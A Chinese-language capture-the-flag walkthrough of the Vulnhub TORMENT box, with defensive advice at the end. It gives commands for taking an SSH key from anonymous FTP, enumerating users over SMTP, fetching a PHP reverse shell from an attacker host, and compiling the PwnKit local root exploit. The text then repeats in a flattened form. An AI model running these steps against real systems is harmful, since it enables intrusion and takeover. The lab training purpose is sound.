[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升+pkexec权限提升
字数 1354 2025-08-19 12:40:55

TORMENT靶机渗透测试详细教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行全端口扫描:

nmap -p- 192.168.101.152 --min-rate 1000 -sC -sV

发现开放端口:

  • 21/tcp: FTP (vsftpd 3.0.3)
  • 22/tcp: SSH (OpenSSH 7.4p1)
  • 25/tcp: SMTP (Postfix)
  • 80/tcp: HTTP (Apache 2.4.25)
  • 111/tcp: RPCbind
  • 139/tcp: NetBIOS (Samba)
  • 143/tcp: IMAP (Dovecot)
  • 445/tcp: NetBIOS (Samba 4.5.12)
  • 631/tcp: IPP (CUPS 2.2)
  • 6667-6674/tcp: IRC (ngircd)
  • 2049/tcp: NFS

1.2 服务详细分析

FTP服务(21/tcp)

  • 允许匿名登录
  • 可下载的文件列表:
    • alternatives.tar.*
    • apt.extended_states.*
    • dpkg.diversions.*
    • dpkg.statoverride.*
    • dpkg.status.0

HTTP服务(80/tcp)

  • Apache默认页面
  • 服务器版本:Apache/2.4.25

CUPS服务(631/tcp)

  • 版本:CUPS 2.2.1
  • 存在潜在风险方法:PUT
  • robots.txt禁止访问根目录

IRC服务(6667-6674/tcp)

  • 使用ngircd
  • 可能包含有用信息

2. 初始访问

2.1 FTP匿名登录

ftp 192.168.101.152

用户名:anonymous
密码:(空)

发现隐藏目录和文件:

ftp> ls -la
ftp> cd .ssh
ftp> get id_rsa
ftp> cd .ngircd
ftp> get channels

从channels文件获取频道信息:

  • games
  • tormentedprinter

2.2 IRC频道信息

使用HexChat加入IRC频道,获取关键信息:

mostmachineshaveasupersecurekeyandalongpassphrase

2.3 SMTP用户枚举

从CUPS页面(http://192.168.101.152:631/printers/)提取用户名列表:

Albert Cherrlt David Edmund Ethan Eva Genevieve Govindasamy Jessica Kenny Patrick Qinyi Qiu Roland Sara

使用smtp-user-enum验证有效用户:

smtp-user-enum -M VRFY -U usernames -t 192.168.101.152

确认存在用户:Patrick和Qiu

2.4 SSH登录

使用获取的id_rsa和IRC中的密码登录Patrick用户:

ssh -i id_rsa patrick@192.168.101.152

3. 权限提升

3.1 方法一:通过Apache配置提权

  1. 检查Apache配置文件权限:
ls -la /etc/apache2/apache2.conf
  1. 编辑apache2.conf添加以下内容:
User qiu
Group qiu
  1. 上传PHP反向shell:
cp /usr/share/webshells/php/php-reverse-shell.php /tmp/
cd /var/www/html
wget http://192.168.101.128/php-reverse-shell.php
  1. 重启系统使配置生效:
sudo /bin/systemctl reboot
  1. 访问反向shell:
http://192.168.101.152/php-reverse-shell.php
  1. 获取交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
sudo /usr/bin/python -c 'import pty;pty.spawn("/bin/bash")'

3.2 方法二:通过pkexec提权

  1. 下载PwnKit漏洞利用代码:
wget https://github.com/ly4k/PwnKit/blob/main/PwnKit.c
  1. 编译:
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
  1. 执行提权:
./PwnKit

4. 获取Proof

成功提权后,查看Proof.txt内容:

Congrutulations on rooting TORMENT. I hope this box has been as fun for you as it has been for me. :-)

5. 关键知识点总结

  1. FTP匿名登录:检查常见文件和隐藏目录
  2. IRC信息收集:可能包含密码或提示
  3. SMTP用户枚举:通过VRFY命令验证用户存在性
  4. Apache配置提权:修改运行用户为高权限用户
  5. pkexec提权:利用CVE-2021-4034本地提权漏洞
  6. 服务重启技巧:使配置更改生效

6. 防御建议

  1. 禁用FTP匿名登录
  2. 限制IRC频道的敏感信息分享
  3. 配置SMTP服务禁用VRFY等危险命令
  4. 严格控制Apache配置文件的权限
  5. 及时更新系统修补已知漏洞如pkexec漏洞
  6. 实施最小权限原则,避免服务以高权限运行
TORMENT靶机渗透测试详细教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行全端口扫描: 发现开放端口: 21/tcp: FTP (vsftpd 3.0.3) 22/tcp: SSH (OpenSSH 7.4p1) 25/tcp: SMTP (Postfix) 80/tcp: HTTP (Apache 2.4.25) 111/tcp: RPCbind 139/tcp: NetBIOS (Samba) 143/tcp: IMAP (Dovecot) 445/tcp: NetBIOS (Samba 4.5.12) 631/tcp: IPP (CUPS 2.2) 6667-6674/tcp: IRC (ngircd) 2049/tcp: NFS 1.2 服务详细分析 FTP服务(21/tcp) 允许匿名登录 可下载的文件列表: alternatives.tar.* apt.extended_ states.* dpkg.diversions.* dpkg.statoverride.* dpkg.status.0 HTTP服务(80/tcp) Apache默认页面 服务器版本:Apache/2.4.25 CUPS服务(631/tcp) 版本:CUPS 2.2.1 存在潜在风险方法:PUT robots.txt禁止访问根目录 IRC服务(6667-6674/tcp) 使用ngircd 可能包含有用信息 2. 初始访问 2.1 FTP匿名登录 用户名:anonymous 密码:(空) 发现隐藏目录和文件: 从channels文件获取频道信息: games tormentedprinter 2.2 IRC频道信息 使用HexChat加入IRC频道,获取关键信息: 2.3 SMTP用户枚举 从CUPS页面(http://192.168.101.152:631/printers/)提取用户名列表: 使用smtp-user-enum验证有效用户: 确认存在用户:Patrick和Qiu 2.4 SSH登录 使用获取的id_ rsa和IRC中的密码登录Patrick用户: 3. 权限提升 3.1 方法一:通过Apache配置提权 检查Apache配置文件权限: 编辑apache2.conf添加以下内容: 上传PHP反向shell: 重启系统使配置生效: 访问反向shell: 获取交互式shell: 3.2 方法二:通过pkexec提权 下载PwnKit漏洞利用代码: 编译: 执行提权: 4. 获取Proof 成功提权后,查看Proof.txt内容: 5. 关键知识点总结 FTP匿名登录 :检查常见文件和隐藏目录 IRC信息收集 :可能包含密码或提示 SMTP用户枚举 :通过VRFY命令验证用户存在性 Apache配置提权 :修改运行用户为高权限用户 pkexec提权 :利用CVE-2021-4034本地提权漏洞 服务重启技巧 :使配置更改生效 6. 防御建议 禁用FTP匿名登录 限制IRC频道的敏感信息分享 配置SMTP服务禁用VRFY等危险命令 严格控制Apache配置文件的权限 及时更新系统修补已知漏洞如pkexec漏洞 实施最小权限原则,避免服务以高权限运行